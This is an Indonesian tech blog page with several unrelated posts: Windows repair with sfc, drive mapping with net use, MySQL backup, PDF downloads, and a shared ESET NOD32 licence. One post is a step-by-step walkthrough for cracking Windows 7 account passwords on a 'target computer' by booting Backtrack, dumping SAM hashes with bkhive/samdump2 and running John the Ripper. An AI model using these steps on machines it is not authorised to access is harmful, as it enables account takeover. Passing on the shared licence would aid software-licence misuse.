My Computer Properties Tidak Bisa dibuka pada WIndows 7

My Computer Properties atau System, atau bisa dibuka juga menggunakan Win + Pause/Break adalah menu untuk melihat Informasi tentang komputer kita. Jika menu ini tidak bisa dibuka, kemungkinan ada file yang corrupt. Untuk mengembalikannya seperti semula kita bisa menggunakan System File Checking (SFC), coba lakukan langkah berikut :

  • Siapkan DVD installer Windows 7 dan masukkan ke DVD-Rom.
  • Buka Command Prompt ( Win+R –> cmd).
  • Setelah muncul jendela Command Promtp, ketik :
sfc /scannow
SFC ini akan mengecek semua file system Windwos, jika ada file yang corrupt maka akan digantikan dengan file yang ada pada DVD Installer. Tunggu sampai proses selesai dan restart komputer.

Catatan :

Bisa juga menggunakan ISO/Image Windows 7, yang perlu dilakukan hanya melakukan mount file ISO tersebut menggunakan software seperti WinMount, Daemon Tool, Virtual Drive dll.

Selamat mencoba.

Advertisements

Cracking Password Windows 7

Ini merupakan posting saya yang pertama yang membahas tentang cracking. Walaupun sebenarnya saya sudah lumayan banyak posting tentang cracking pssword di blog lama saya. Pada saat cracking ini saya menggunakan Backtrack 5 yang baru saja rilis, yang tentu saja sudah disertai dengan paket-paket powerfull yang digunakan untuk cracking dan hacking.

Disini saya menggunakan 3 buah software/aplikasi, yang semua nya berjalan pada shell/CLI. Yaitu bkhive, samdump2 dan John The Ripper (tentu saja semua aplikasi ini sudah tersedia di dalam distro BT5). Jika anda menggunakan linux selain BT5, silahkan anda instal terlebih dulu ke tiga aplikasi tersebut. BT5 yang saya gunakan adalah Live USB. Sehingga tinggal colok di komputer target dan booting via USB, dan masuk ke Bt5. Okey langsung saja.

Saya anggap anda sudah punya Backtrack 5 atau Linux distro lain yang sudah diinstall dengan bkhive, samdump2 dan John The Ripper.

Langkah awal yang harus anda lakukan adalah booting Komputer ke Backtrack. Dan masuk ke Backtrack. Sampai muncul :

root@root: ~#

Kemudian ketik :

root@root: ~# startx

Setelah itu akan muncul Desktop Backtrack 5. Setelah muncul jendela desktop, buka Shell dan lakukan mount terhadap hardisk drive C, dimana Windows 7 di install. Cara mount.

root@root: ~# mkdir /media/disk
root@root: ~# mount /dev/sda1 /media/disk

sda1 adalah hardisk (drive C:\) dimana Windows 7 terinstall, sesuaikan dengan Komputer anda. Kemudian ketik:

root@root: ~# bkhive /media/disk/Windows/System32/config/SYSTEM SAM
root@root: ~# samdump2 /media/disk/Windows/System32/config/SAM SAM
root@root: ~# samdump2 /media/disk/Windows/System32/config/SAM SAM > hash.txt

File Hash password sudah dibuat, sekarang masuk ke direktori John The Ripper untuk melakukan cracking password.

root@root: ~# cd /pentest/passwords/john/
root@root: /pentest/passwords/john# john --users=Ofidz --format=NT -i=alnum /root/hash.txt
Cracking Password Win7

Cracking Password Win7

Harusnya hasil cracking seperti pada gambar diatas. Pada gambar diatas saya hanya melakukan cracking password pada satu user (Ofidz). Dan menggunakan charset alpha numeric (-i=alnum) untuk mempercepat cracking. Jika password yang akan di crack susah atau mengandung karakter selain alnum, sebaiknya parameter ini jangan dipakai. Hanya dibutuhkan waktu 56 detik untuk memecahkan password user Ofidz.

Cracking Password Win7 Tanpa Parameter Charset

Cracking Password Win7 Tanpa Parameter Charset

Tanpa charset alnum:

root@root: /pentest/passwords/john# john --users=Ofidz --format=NT /root/hash.txt

Jika tidak menggunakan parameter Charset, waktu yang dibutuhkan lebih lama lagi, yaitu 13:40. Semakin rumit dan panjang password yang di cracking, maka akan semakin lama proses cracking ini berlangsung. RAM dan Prosessor komputer juga berpengaruh pada kecepatan cracking.

Map Drive Menggunakan Command Prompt

Sekedar sharing trik atau info aja. Untuk mempermudah akses drive atau folder/direktori dari komputer lain, biasanya kita menggunakan Map Drive. Map Drive sangat mudah dilakukan pada Windows Explorer. Tapi mungkin karena suatu sebab kita tidak bisa menggunakan Windows Explorer, misal kita ingin melakukan Map Drive tapi berada pada session Telnet. Sehingga kita tidak bisa mengakses GUI. Maka satu-satunya cara adalah dengan menggunakan command.

Command yang digunakan sangat sederhana sekali :

net use x: \\IP_KOMPUTER\folder_sharing

atau jika membutuhkan atentikasi :

net use x: \\IP_KOMPUTER\folder_sharing /user:username passwd_user

Contoh :

net use x: \\10.10.10.2\musik
net use x: \\SERVER\musik
net use x: \\10.10.10.2\musik /user:administrator m0c0p4t
net use x: \\10.10.10.2\e$
net use x: \\10.10.10.2\e$ /user:administrator m0c0p4t
Keterangan :
x: : Adalah nama Drive yang akan digunakan untuk Mapping
e$ : Jika anda ingin mengakses drive E:\ pada komputer yang akan di Map
username : Username komputer yang akan di Map
passwd_user : Password user yang akan di Map

Seharusnya hasilnya seperti gambar berikut :

Cara untuk Disconnect

Contoh diatas adalah cara bagaimana kita membuat Map Drive, sekarang bagaimana cara nya untuk Disconnect ? Sangat simple juga. Jalankan Perintah berikut:

net use x: /delete

Setelah anda meng-eksekusi perintah tersebut, seharusnya Drive x: pada Komputer anda hilang, gambarnya seperti berikut :

Selamat Mencoba !

Lisensi (License) ESET NOD32 valid until 2013-06-04

ESET NOD32

ESET NOD32

Silahkan bagi yang berminat untuk menggunakan sebagaimana mestinya :D.

Lisensi ini bisa digunakan untuk membuat mirror update dan bisa juga di install pada ESET Administrator lewat ESET Console untuk melakukan monitor terhadap Client, yang menggunakan Antivirus NOD32 versi 4.

Download

Download PDF Info Linux 2010

Info Linux Januari 2010

Info Linux Januari 2010

Download Info Linux Januari 2010

Info Linux Pebruari 2010

Info Linux Pebruari 2010

Download Info Linux Pebruari 2010

Info Linux Maret 2010

Info Linux Maret 2010

Download Info Linux Maret 2010

Info Linux April 2010

Info Linux April 2010

Download Info Linux April 2010

Info Linux Mei 2010

Info Linux Mei 2010

Download Info Linux Mei 2010

Info Linux Juni 2010

Info Linux Juni 2010

Download Info Linux Juni 2010

Info Linux Juli 2010

Info Linux Juli 2010

Download Info Linux Juli 2010

Info Linux Agustus 2010

Info Linux Agustus 2010

Download Info Linux Agustus 2010

Info Linux September 2010

Info Linux September 2010

Download Info Linux September 2010

Info Linux Oktober 2010

Info Linux Oktober 2010

Download Info Linux Oktober 2010

Info Linux Nopember 2010

Info Linux Nopember 2010

Download Info Linux Nopember 2010

Info Linux Desember 2010

Info Linux Desember 2010

Download Info Linux Desember 

Selamat membaca, semoga bermanfaat.

Backup dan Restore Database MySQL lewat Shell/Konsole

Sekedar sharing, beberapa waktu lalu saya dibuat bingung dengan command mysqlimport. Ternyata command ini tidak di peruntukkan restore database, tapi digunakan untuk append data dari database backup ke database asli. Sehingga jika ingin melakukan restore, kita bisa menggunakan command mysql.

Backup Database:

mysqldump -u user_name -ppassword_user namadb /path/nama_db_backup.sql

Atau jika ingin langsung di compress:

mysqldump -u user_name -ppassword_user namadb | gzip > /path/nama_db.gz

Restore Database:

mysql -u user_name -p nama_db < /path/nama_db_backup.sql

Ganti user_name, password, nama_db dan path sesuai dengan parameter anda.

%d bloggers like this: